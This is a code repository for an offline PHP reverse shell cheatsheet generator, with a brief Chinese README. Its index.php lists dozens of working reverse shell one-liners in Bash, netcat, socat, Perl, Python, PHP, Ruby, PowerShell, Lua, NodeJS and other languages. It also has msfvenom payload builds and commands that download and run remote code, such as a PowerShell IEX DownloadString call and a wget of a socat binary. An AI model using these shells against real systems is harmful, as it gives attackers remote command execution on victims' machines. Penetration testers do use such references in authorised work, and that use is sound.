├── README.assets ├── image-20200706001657748.png └── image-20200706001753531.png ├── README.md └── index.php /README.assets/image-20200706001657748.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evi1ox/shell_command/d68b6bb97d2ec4eb0da23dde9703f9aab465113d/README.assets/image-20200706001657748.png -------------------------------------------------------------------------------- /README.assets/image-20200706001753531.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evi1ox/shell_command/d68b6bb97d2ec4eb0da23dde9703f9aab465113d/README.assets/image-20200706001753531.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Reverse shell cheatsheet 2 | 3 | 本地离线版(**php**是世界上最强的语言, 向php低头😎) 4 | 5 | ![image-20200706001657748](README.assets/image-20200706001657748.png) 6 | 7 | ![image-20200706001753531](README.assets/image-20200706001753531.png) 8 | 9 | FROM 10 | 11 | https://krober.biz/misc/reverse_shell.php?ip=6.6.6.6&port=443 -------------------------------------------------------------------------------- /index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Reverse shell cheatsheet 5 | 27 | 62 | 63 | 64 |
65 | 66 | 88 | 89 |
90 | IP: 91 | Port: 92 | 93 |
94 | 95 |

Bash TCP:

96 | Victim: 97 |
bash -i >& /dev/tcp// 0>&1
98 | 99 |
/bin/bash -i > /dev/tcp// 0<& 2>&1
100 | 101 |
exec 5<>/dev/tcp//;cat <&5 | while read line; do $line 2>&5 >&5; done
102 | 103 |
exec /bin/sh 0</dev/tcp// 1>&0 2>&0
104 | 105 |
0<&196;exec 196<>/dev/tcp//; sh <&196 >&196 2>&196
106 | 107 | 108 |

Bash UDP:

109 | Victim: 110 |
sh -i >& /dev/udp// 0>&1
111 |
112 | Listener: 113 |
nc -u -lvp 
114 | 115 | 116 |

Netcat:

117 |
nc -e /bin/sh  
118 | 119 |
nc -e /bin/bash  
120 | 121 |
nc -c bash  
122 | 123 |
mknod backpipe p && nc   0<backpipe | /bin/bash 1>backpipe 
124 | 125 |
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc   >/tmp/f
126 | 127 |
rm -f /tmp/p; mknod /tmp/p p && nc   0/tmp/p 2>&1
128 | 129 |
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc   > f
130 | 131 |
rm -f x; mknod x p && nc   0<x | /bin/bash 1>x
132 | 133 | 134 |

Ncat:

135 |
ncat   -e /bin/bash
136 | 137 |
ncat --udp   -e /bin/bash
138 | 139 | 140 |

Telnet:

141 |
rm -f /tmp/p; mknod /tmp/p p && telnet   0/tmp/p 2>&1
142 | 143 |
telnet   | /bin/bash | telnet  444
144 | 145 |
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet   > f
146 | 147 |
rm -f x; mknod x p && telnet   0<x | /bin/bash 1>x
148 | 149 | 150 |

Socat:

151 | Victim: 152 |
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp::
153 | 154 |
socat tcp-connect:: exec:"bash -li",pty,stderr,setsid,sigint,sane
155 |
156 | Listener: 157 |
socat file:`tty`,raw,echo=0 TCP-L:
158 | 159 |
160 | Victim: 161 |
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp::
162 | 163 | 164 |

Perl:

165 | Victim: 166 |
perl -e 'use Socket;$i="";$p=;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
167 | 168 | 169 |
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,":");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
170 |
171 | 172 | Windows only, Victim: 173 |
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,":");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
174 | 175 | 176 |

Python:

177 | IP v4 178 |
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
179 | 180 | 181 |
export RHOST="";export RPORT=;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
182 | 183 | 184 |
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
185 | 186 | 187 | IP v6 188 |
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
189 | 190 | 191 | Windows only: 192 |
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('', )), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
193 | 194 | 195 |

PHP:

196 |
php -r '$sock=fsockopen("",);exec("/bin/sh -i <&3 >&3 2>&3");'
197 | 198 |
php -r '$s=fsockopen("",);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'
199 | 200 |
php -r '$s=fsockopen("",);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
201 | 202 |
php -r '$s=fsockopen("",);`/bin/sh -i <&3 >&3 2>&3`;'
203 | 204 |
php -r '$s=fsockopen("",);system("/bin/sh -i <&3 >&3 2>&3");'
205 | 206 |
php -r '$s=fsockopen("",);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
207 | 208 | 209 |

Ruby:

210 |
ruby -rsocket -e'f=TCPSocket.open("",).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
211 | 212 | 213 |
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("","");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
214 |
215 | 216 | NOTE: Windows only 217 |
ruby -rsocket -e 'c=TCPSocket.new("","");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
218 | 219 | 220 | 221 | 222 |

OpenSSL:

223 | Attacker: 224 |
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
225 | 226 |
openssl s_server -quiet -key key.pem -cert cert.pem -port 
227 | 228 | or 229 |
ncat --ssl -vv -l -p 
230 | 231 | Victim: 232 |
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect : > /tmp/s; rm /tmp/s
233 | 234 | 235 |

Powershell:

236 |
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("",);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
237 | 238 |
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('',);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
239 | 240 |
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
241 | 242 | 243 |

Awk:

244 |
awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
245 | 246 | 247 |

TCLsh

248 |
echo 'set s [socket  ];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
249 | 250 | 251 |

Java:

252 |
r = Runtime.getRuntime()
253 | p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp//;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
254 | p.waitFor()
255 | 256 |
String host="127.0.0.1";
257 | int port=4444;
258 | String cmd="cmd.exe";
259 | Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
260 | 261 |
Thread thread = new Thread(){
262 |     public void run(){
263 |         // Reverse shell here
264 |     }
265 | }
266 | thread.start();
267 | 268 | 269 |

War:

270 |
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > reverse.war
271 | strings reverse.war | grep jsp # in order to get the name of the file
272 | 273 | 274 |

Lua:

275 | Linux only 276 |
lua -e "require('socket');require('os');t=socket.tcp();t:connect('','');os.execute('/bin/sh -i <&3 >&3 2>&3');"
277 |
278 | Windows and Linux 279 |
lua5.1 -e 'local host, port = "",  local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
280 | 281 | 282 |

NodeJS:

283 |
(function(){
284 |     var net = require("net"),
285 |         cp = require("child_process"),
286 |         sh = cp.spawn("/bin/sh", []);
287 |     var client = new net.Socket();
288 |     client.connect(, "", function(){
289 |         client.pipe(sh.stdin);
290 |         sh.stdout.pipe(client);
291 |         sh.stderr.pipe(client);
292 |     });
293 |     return /a/; // Prevents the Node.js application form crashing
294 | })();
295 | 296 |
require('child_process').exec('nc -e /bin/sh  ')
297 | 298 |
-var x = global.process.mainModule.require
299 | -x('child_process').exec('nc   -e /bin/bash')
300 | 301 |
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
302 | 303 | 304 |

Groovy:

305 | 306 |
String host="";
307 | int port=;
308 | String cmd="cmd.exe";
309 | Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
310 | 311 | 312 |

Meterpreter Shell:

313 |
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > reverse.exe
314 | 315 |
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -f exe > reverse.exe
316 | 317 |
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf >reverse.elf
318 | 319 |
msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT= -f elf >reverse.elf
320 | 321 |
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="" LPORT= -f elf > shell.elf
322 | 323 |
msfvenom -p windows/meterpreter/reverse_tcp LHOST="" LPORT= -f exe > shell.exe
324 | 325 |
msfvenom -p osx/x86/shell_reverse_tcp LHOST="" LPORT= -f macho > shell.macho
326 | 327 |
msfvenom -p windows/meterpreter/reverse_tcp LHOST="" LPORT= -f asp > shell.asp
328 | 329 |
msfvenom -p java/jsp_shell_reverse_tcp LHOST="" LPORT= -f raw > shell.jsp
330 | 331 |
msfvenom -p java/jsp_shell_reverse_tcp LHOST="" LPORT= -f war > shell.war
332 | 333 |
msfvenom -p cmd/unix/reverse_python LHOST="" LPORT= -f raw > shell.py
334 | 335 |
msfvenom -p cmd/unix/reverse_bash LHOST="" LPORT= -f raw > shell.sh
336 | 337 |
msfvenom -p cmd/unix/reverse_perl LHOST="" LPORT= -f raw > shell.pl
338 | 339 | 340 | 341 |

Xterm:

342 |
xterm -display :1
343 | Xnest :1
344 | xhost +targetip
345 | 346 |
347 | 348 | 349 | 350 | --------------------------------------------------------------------------------